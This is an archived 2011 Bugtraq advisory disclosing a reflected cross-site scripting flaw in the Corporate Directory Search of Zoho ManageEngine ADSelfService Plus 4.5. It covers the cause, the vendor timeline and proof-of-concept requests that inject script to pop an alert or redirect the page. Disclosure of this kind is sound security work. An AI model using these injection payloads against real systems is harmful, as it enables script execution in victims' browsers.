lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CAPZPqMjfEa68QDMkkdR4xzk2W59AXS3tUJ9v1SWX=35cSx=g=A@mail.gmail.com> Date: Thu, 17 Nov 2011 12:40:52 -0500 From: James Webb <james.webb@...apath.com> To: bugtraq@...urityfocus.com Subject: Cross-Site Scripting Vuln in Zoho ManageEngine ADSelfServicePlus Vulnerability ID: VRPTH-2011-001 Reference: http://jameswebb.me/vulns/vrpth-2011-001.txt Vulnerability Summary ====================== Non-persistent XSS in Zoho ManageEngine ADSelfService Plus Test Environment ================= Windows 2008RC2 fully patched. ManageEngine ADSelfServicePlus version 4.5 Build 4521 installed. Integrated Into TestDomain Technical Details ===================== Corporate Directory Search feature in ManageEngine ADSelfServicePlus version 4.5 Build 4521 is susceptible to non-persistent XSS attacks. These vulnerabilities are manifest by the ability for attacker to terminate javascript variable declarations, escape encapsulation, and append arbitrary javascript code. ADSelfService Plus is a password management application for Active Directory environments. Proof of Concept =================== Double-Quote String Termination HTTP Request = https://serverip:port/EmployeeSearch.cc?searchType=contains&searchBy=ALL_FIELDS&searchString=";alert("XSS");//\" Response Source View <script language="javascript"> var searchValue = "';alert(XSS)//\""; Single-Quote String Termination Similarly... HTTP Request= https://serverip:port/EmployeeSearch.cc?searchType=';document.location="http://www.cnn.com";//\"&searchBy=ALL_FIELDS&searchString=Bob Root Cause Analysis ===================== Input is not being escaped/filtered prior to javascript variable assignment. Fix/Work Around ===================== Not aware of patch/fix. Contact Vendor. Coordination History ==================== 09/28/11 - Contacted AdSelfServicePro Team with Vuln. Details 10/07/11 - Requested Update 10/08/11 - Received Response: Advised issues will be handled in future release. 10/27/11 - Requested Update: Inquired if newer posted builds fixed issue. 11/03/11 - Received Response: Newer build did not address; Indicated still researching.. 11/17/11 - Released Advisory
Powered by blists - more mailing lists